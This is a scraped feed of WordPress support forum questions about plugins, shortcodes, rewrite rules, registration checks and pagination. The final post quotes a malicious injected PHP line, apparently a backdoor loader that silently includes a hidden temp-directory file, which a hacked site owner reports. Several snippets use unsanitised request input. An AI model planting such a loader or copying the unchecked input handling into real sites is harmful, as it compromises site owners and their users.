Quantcast
Channel: WordPress › Support » Forum: Hacks - Recent Topics
Viewing all 8245 articles
Browse latest View live

josephbydesign on "Duplicate User meta field to another field on register"

0
0

I have users registering through the plugin Ultimate Member. I am trying to register a billing address for woo commerce at the same time. For the address fields I just used the meta keys for the billing address, but I don't want to do that for their first and last name and as their username is their phone number I can't do it for that one ether. I wrote this simple plugin to try and rectify the problem, but when I go to checkout their name and phone number are blank. Their address is added successfully so I know the meta keys are right. I am using update_user_meta should I be using update_post_meta instead? Many thanks

<?php
/*
Plugin Name: Autofill users info at checkout
*/

function autofill_users_info_at_checkout_update_meta( $user_id ) {

    if ( isset( $_POST['user_login'] ) )
        update_user_meta($user_id, 'billing_phone', $_POST['user_login']);

    if ( isset( $_POST['first_name'] ) )
    	update_user_meta($user_id, 'billing_first_name', $_POST['first_name']);

    if ( isset( $_POST['last_name'] ) )
    	update_user_meta($user_id, 'billing_last_name', $_POST['last_name']);

}
add_action( 'user_register', 'autofill_users_info_at_checkout_update_meta', 10, 1 );

amurs on "showing deadline instead of post date"

0
0

hi wordpressers

i have a website about scholarships and i want to show deadline (coutdown or fixed date) instead of post date or show both
this is an example of what i want to say
please i need your help

thank you

adderlymontant on "How to remove main navigation menu from individual page template"

0
0

I am currently using the Zinc (laboratory) theme. and i can not find any option that would allow me to hide the Top header menu from individual pages.

zullimethod.com

This is my page, and i am trying to get ride of the menu from the pages that open in the light boxes from the Slider.

Any other pointers will be greatly appreciated.

Adderly,

Elliotvs on "Shortcode: Dropdown show div based on option"

0
0

Hello

I'm trying to create a shortcode to show a dropdown (select) to display a certain div depending on the option selected. Example code which doesn't work:

function selectfilter_func() {

return "
<script>
$(document).ready(function(){
    $('#filter').on('change', function() {
      if ( this.value == '1')
      {
        $('#filter1').show();
      }
      else
      {
        $('#filter1').hide();
      }
    });
});
</script>

<select id='filter'>
<option value='0'>Filter 1</option>
<option value='1'>Filter 2</option>
<option value='2'>Filter 3</option>
</select>

<div style='display:none;' id='filter2'>
DISPLAY CONTENT FOR FILTER 2
</div>
";

}
add_shortcode( "selectfilter", "selectfilter_func" );

Any ideas why it's not working / how to fix?

itssmohammed on "How to add a radio player that work on all platforms?"

0
0

Hello, I have a personal radio that I want to add to the website and I've looked in google and got one from (https://www.muses.org/setup) but the problem with their radio player is: it doesn't work on Android phones.

So is there a change of code I can do to make it work or a plugin that let me put my own radio link and compatible with android phones?

That's the link to the radio page on my website: http://www.arabi-group.com/en/?page_id=292

And here is the code for the radio player:

<!-- BEGINS: AUTO-GENERATED MUSES RADIO PLAYER CODE -->
<script type="text/javascript" src="https://hosted.muses.org/mrp.js"></script>
<script type="text/javascript">
MRP.insert({
'url':'http://arabifm.com:8000/stream',
'codec':'mp3',
'volume':100,
'autoplay':false,
'buffering':5,
'title':'Arabi Group',
'welcome':'Arabi Group',
'bgcolor':'#FFFFFF',
'skin':'bogusblue',
'width':660,
'height':266
});
</script>
<!-- ENDS: AUTO-GENERATED MUSES RADIO PLAYER CODE -->

josephbydesign on "$_GET not working in shortcode"

0
0

I have this shortcode that runs another gallery shortcode. I am trying to filter the posts that are being displayed.

This dosen't work (note the post_taxonomy_term="' . $_GET['cat'] .'"]'):

function want_filter_lookbook_shortcode_callback($atts, $content, $name){

  	// Build output

  	$output = do_shortcode( '[cactus-masonry masonry="true" quality="large" link_location="full" display_post_titles="true" width="33.33%" show_lightbox="true" show_lightbox_title="true" browse_with_lightbox="false" custom_post_types="portfolio-item" post_taxonomy="portfolio-category" post_taxonomy_term="' . $_GET['cat'] .'"]' );

  	return $output;
}

But this does:

function want_filter_lookbook_shortcode_callback($atts, $content, $name){

  	// Build output

  	$output = do_shortcode( '[cactus-masonry masonry="true" quality="large" link_location="full" display_post_titles="true" width="33.33%" show_lightbox="true" show_lightbox_title="true" browse_with_lightbox="false" custom_post_types="portfolio-item" post_taxonomy="portfolio-category" post_taxonomy_term="bottoms"]' );

  	return $output;
}

So when I hard code the value instead of using $_GET it works.
This is the exact url: http://dev.want.ca/?page_id=16?cat="bottoms"

Any ideas why?

silvestervella on "send email to post author author"

0
0

Currently I have this code

$user = get_userdata($voucher_buyer_id);
		$to = $user->user_email;
		$from_mail = couponxl_get_option( 'email_sender' );
	    $from_name = couponxl_get_option( 'name_sender' );
		$headers[] = "From: ".$from_name." <".$from_mail.">";

which auto-sends an email to the current logged user with purchase details.
how can I BCC the same email to the post author?

Thanks a lot

wwwolf on "Restrict user registration to emails on a single domain"

0
0

I need to allow user registrations only for those with email addresses on a single domain. I have tested multiple regular expressions and this one works well in a regex sandbox environment, but as soon as I put it into my functions.php file, it simply rejects all registrations - even email addresses on the correct domain (with the error message below, so it's definitely this conditional that's breaking it). Am I:
a) actually doing something stupid in the regex, even tho the online regex testers say it's doing what I want?
b) using a regex syntax that WordPress doesn't support?
c) screwing up something in the rest of the function?
d) misunderstanding the codex, and it's not as simple as just adding this to functions.php?

add_filter( 'registration_errors', 'myplugin_registration_errors', 10, 3 );
    function myplugin_registration_errors( $errors, $sanitized_user_login, $user_email ) {

        if (!preg_match('( |^)[^ ]+@mydomain\.co\.uk( |$)', $user_email )) {
        $errors->add( 'invalid_email', __( 'ERROR: Only valid "mydomain" email address is allowed.' ));
        $user_email = '';
    	}

        return $errors;
    }

I've been staring at this so long now, it could be blindingly obvious and I wouldn't see it!

Many thanks!


gswartz on "multiple passwords for password protecting pages & menus"

0
0

Our site is currently set up to have the pages password protected. I was asked to make it so that if a user entered a certain password, then certain menu items would show up and they would be restricted to certain pages. If they entered a different password, they could access all the pages.

I figured if I could read the value of the password cookie then maybe I could show one menu instead of another. Not sure how to do that if it's even possible. But beyond that, is there anyway to basically have two passwords accepted for certain pages? Thanks.

Rallendk on "Get differences in post revisions"

0
0

The following code gets me the latest post revision upon updating a post:

function insert_post_hook($post_id, $post) {
    var_dump(array_shift(wp_get_post_revisions($post_id)));
    exit;
}

add_action( 'wp_insert_post', 'insert_post_hook', 10, 2 );
However, this only gives me som basic data like title, time, revision id etc. What I would really like, is to get the differences that has been made in this revision compared to the last one before that - like what is shown in the revisions tab of the editor.

How would I get these specific changes?

I tried the following approach, but that just gives me a server error. 4967 is the post id, and 4971 & 4972 are revisions of the post.

var_dump(wp_get_revision_ui_diff(4967, 4971, 4972));

Ethan Jinks O'Sullivan on "Plugin options page: grouping checkboxes"

0
0

I've been using the WordPress Option Page Generator by Jeremy Hixon to help give me a head start with my plugin's option page. I've laid out four different types of checkboxes which the source code can be found here:

https://gist.github.com/factmaven/3896a3aac3888aa5bcddae48d9da5238

However, I'd like to add additional checkboxes in each of the four section that I've made, like so:

http://i.stack.imgur.com/jlxOT.jpg

Based on the generator, it looks like I would need to add another add_settings_field and another callback function to add more checkboxes; but that looks more tedious than I'd imagine just to add more checkboxes under each section. Is it possible to add additional checkboxes underneath the add_settings_field that I've already created? For example:

public function personal_options_0_callback() {
    printf(
        '<input type="checkbox" name="profile_settings_option_name[personal_options_0]" id="personal_options_0" value="personal_options_0" %s> <label for="personal_options_0"> Visual Editor</label>',
        ( isset( $this->profile_settings_options['personal_options_0'] ) && $this->profile_settings_options['personal_options_0'] === 'personal_options_0' ) ? 'checked' : ''
    );
    printf(
        '<input type="checkbox" name="profile_settings_option_name[personal_options_1]" id="personal_options_1" value="personal_options_1" %s> <label for="personal_options_1"> Admin Color Scheme</label>',
        ( isset( $this->profile_settings_options['personal_options_1'] ) && $this->profile_settings_options['personal_options_1'] === 'personal_options_1' ) ? 'checked' : ''
    );
}

Any help or guidance is appreciated. I've never made a plugin options page before, so if there is a simpler way of doing this, I am also open to your recommendation.

If you're on the WordPress Stack Exchange, I've also made the topic there if it's better to respond there:

https://wordpress.stackexchange.com/questions/235267/plugin-options-page-grouping-checkboxes

DirtyBirdDesign on "Changing post category and update permalink"

0
0

I have a CPT of 'webinars'. I use that to create posts for a category called 'Upcoming Webinars' that lives on the page /Upcoming-Webinar. I use that category for posts until the event expires (using the Post Expirator plug in). When the event expires (one hour after start time) it gets moved to draft and an email is fired off to the author notifying them their event has been moved to 'draft' status and some things they need to do. The major thing they need to do is change the category from 'Upcoming-Webinars' to 'Archived-Webinars'.

Once that is done, the post is now visible on the /Upcoming-Webinars page. All this works as expected.

The issue is this: When the post is moved from /Upcoming-Webinars to /Archived-Webinars, the permalink still has the category /upcoming-webinars. EX:
Upcoming-Webinars (where it starts) url: http://dev.com/Upcoming-Webinars/page-title/
then it expiers and is moved to /Archived-Webinars/ but the link is still http://dev.com/Upcoming-Webinars/page-title/ and not http://dev.com/Archived-Webinars/page-title/

woalmoore on "Prohibiting Users from Changing Passwords"

0
0

Kind of a strange question:
I'm setting up a site where some usernames will be shared among multiple people for viewing blog entries. I want to be able to lock the password for those users so that they can't be accidentally (or maliciously) changed and others locked out of the account. Any way to do that? It would need to be some sort of toggle in the user profile so that I could choose which users had that feature and which didn't.

Thanks.

Ayan Debnath on "HOW: Different Permalink Structure for a Custom Posts"

0
0

Hello,

I have couple of different types of custom Posts: Events, Courses, News.
Now my SEO Team is demanding for different Permalink structures for different post types.

They want the default permalink will be like - /%postname%/
But for Events they need to be like - /%postname%_POSTYEAR/
(because event name can be same but if they happens each year)
But for Courses they need to be like - /%postname%_%post_id%/
(course name can be same but provider name will be different)
etc.

How to do it? with and without any plugin?

Hans on "add_rewrite_rule and post retrieve"

0
0

Hello there,

mostly i can figure out all kind problems. But this time i going be nuts.

At the backend i have a template create page and the result is saved in the wp_posts as post_name 'person' and post_type 'family_tree' and post_name 'family' and post_type 'family_tree'.

At the front end the templates need to be accessed thru the url:
mydomain.com/family-tree/person/2/I101/
mydomain.com/family-tree/family/2/F11/ where example is the tree id and F11 the family id to show.

I manage to get WP get the right pages at the right time, but now when i try to access the page the parameters are striped from the url and mydomain.com/family-tree/person/ is loaded. Whe i look into chrome developer
network is see that I101 and F11 give a 301 error.

This is to code so far.

add_action('init', 'wp_gena_plugin_rules');
 function wp_gena_plugin_rules() {
  //

 // flush_rewrite_rules();
  add_rewrite_rule('^family-tree/person/([0-9]+)/I([0-9]+)/?', 'index.php?pagename=person&post_type=family-tree&pers_id=$matches[2]&tree=$matches[1]', 'top');
  add_rewrite_rule('^family-tree/family/([0-9]+)/F([0-9]+)/?', 'index.php?pagename=family&post_type=family-tree&fam_id=$matches[1]&tree=$matches[2]', 'top');
  flush_rewrite_rules();
 }
  add_filter('query_vars', 'wp_gena_plugin_query_vars');
 function wp_gena_plugin_query_vars($vars) {
  $vars[] = 'pers_id';
  $vars[] = 'fam_id';
  $vars[] = 'post_type';
  $vars[] = 'tree';
  $vars[] = 'pagename';
  return $vars;
 }

add_action( 'init', 'create_post_type' );
function create_post_type() {
  register_post_type( 'family-tree',
    array(
      'labels' => array(
        'name' => __( 'family-tree' ),
        'singular_name' => __( 'family-tree' )
      ),
      'public' => true,
      'has_archive' => false,
    )
  );
}

DenisCGN on "Google Maps for Plugin JSON"

0
0

Hello,

I need some help how to get the answers from them google API into PHP.

{
   "results" : [
      {
         "address_components" : [
            {
               "long_name" : "51061",
               "short_name" : "51061",
               "types" : [ "postal_code" ]
            },
            {
               "long_name" : "Köln",
               "short_name" : "Köln",
               "types" : [ "locality", "political" ]
            },
            {
               "long_name" : "Köln",
               "short_name" : "K",
               "types" : [ "administrative_area_level_2", "political" ]
            },
            {
               "long_name" : "Nordrhein-Westfalen",
               "short_name" : "NRW",
               "types" : [ "administrative_area_level_1", "political" ]
            },
            {
               "long_name" : "Deutschland",
               "short_name" : "DE",
               "types" : [ "country", "political" ]
            }
         ],
         "formatted_address" : "51061 Köln, Deutschland",
         "geometry" : {
            "bounds" : {
               "northeast" : {
                  "lat" : 51.0225911,
                  "lng" : 7.0548179
               },
               "southwest" : {
                  "lat" : 50.973904,
                  "lng" : 6.962263
               }
            },
            "location" : {
               "lat" : 50.9958446,
               "lng" : 7.004471499999999
            },
            "location_type" : "APPROXIMATE",
            "viewport" : {
               "northeast" : {
                  "lat" : 51.0225911,
                  "lng" : 7.0548179
               },
               "southwest" : {
                  "lat" : 50.973904,
                  "lng" : 6.962263
               }
            }
         },
         "place_id" : "ChIJZbBmcTMvv0cRcJElq_9gJxw",
         "types" : [ "postal_code" ]
      }
   ],
   "status" : "OK"
}

For the Geodata and the formated address it is works fine.

$_lat = $_coordinates->results[0]->geometry->location->lat;
$_lng = $_coordinates->results[0]->geometry->location->lng;
$_formAddress = $_coordinates->results[0]->formatted_address;

But how do I get the

administrative_area_level_1

I tried

$_theLand = $_coordinates->results[0]->address_components[0]->administrative_area_level_1;

but nothing returns only NULL.

Any suggestion?

Denis

cdbrosnan on "'next_or_number' =>'next' not working - need to show only next/previous butt"

0
0

I am trying to remove numbers from pagination links on a paginated Wordpress post to leave only next/previous buttons. I have the code as follows and it still does not work as required. If I set a display:none; css rule to the tags within the .paging p class this affects all links including the next/previous links as the links do not have a separate class to them.

<?php
wp_link_pages(array(
'before'           => '<p class="paging" style="margin-bottom: 5em;">' . __(''),
'after'            => '</p>',
'next_or_number'   => 'next', # activate parameter overloading
'nextpagelink'     => __('<span class="pagelink right">NEXT</span>'),
'previouspagelink' => __('<span class="pagelink left">PREVIOUS</span>'),
'pagelink'         => '%',
'echo'             => 1 )
); ?>

Here is an example of a post illustrating the problem: http://famtrav.staging.wpengine.com/destinations/uk/15-fun-things-july-2016/

Is there another way of me achieving the required result? I hope this makes sense. Many thanks.

Rallendk on "wp_get_revision_ui_diff doesn't work as expected"

0
0

When comparing two revisions in the post editor, the result is the following:

Editor revisions screenshot
When comparing the same revisions using wp_get_revision_ui_diff, the result is this:

Array ( [0] => Array ( [id] => post_title [name] => Title [diff] => Title #1 Title #1 ) )

How can I get the same revisions as the editor has?

san99 on "How to add numeric digits to the attachment page url in wordpress?"

0
0

I have been trying to change url/permalink of the attachment pages in twenty sixteen for days with no success, I have tried many codes which have been shared on this website but nothing seems to be working for me. I am running some photography websites on wp, I want to change the permalink structure and want it to look cute, short and sensible. Here are some of the formats I am trying to achieve. structure 1:

sitemamdotcom/images/attachment-title(i want to trim the title to three to four words only because long title does not look good).
Structure 2:

sitemamedotcom/z/5digits/attachment-title-3words/5digits
(random 5 digits in both sides not the same, different digits in all attachment)
structure 3:

sitenamedotcom/attachment-title-3words/attachment-id/
I want to show attachment pages as individual posts, the long url/slug making it difficult for me to copy the link and share.

heshan119 on "My Website is Hacked"

0
0

HI,

This code all over my word press website only in index files.

<?php error_reporting(0);ini_set("display_errors", 0);include_once(sys_get_temp_dir()."/SESS_48cd7517d21176f980daa5502d9efb31"); ?>

I have deleted this once again it came. Please help me if anyone know about this

Thanks
Heshan

Viewing all 8245 articles
Browse latest View live




Latest Images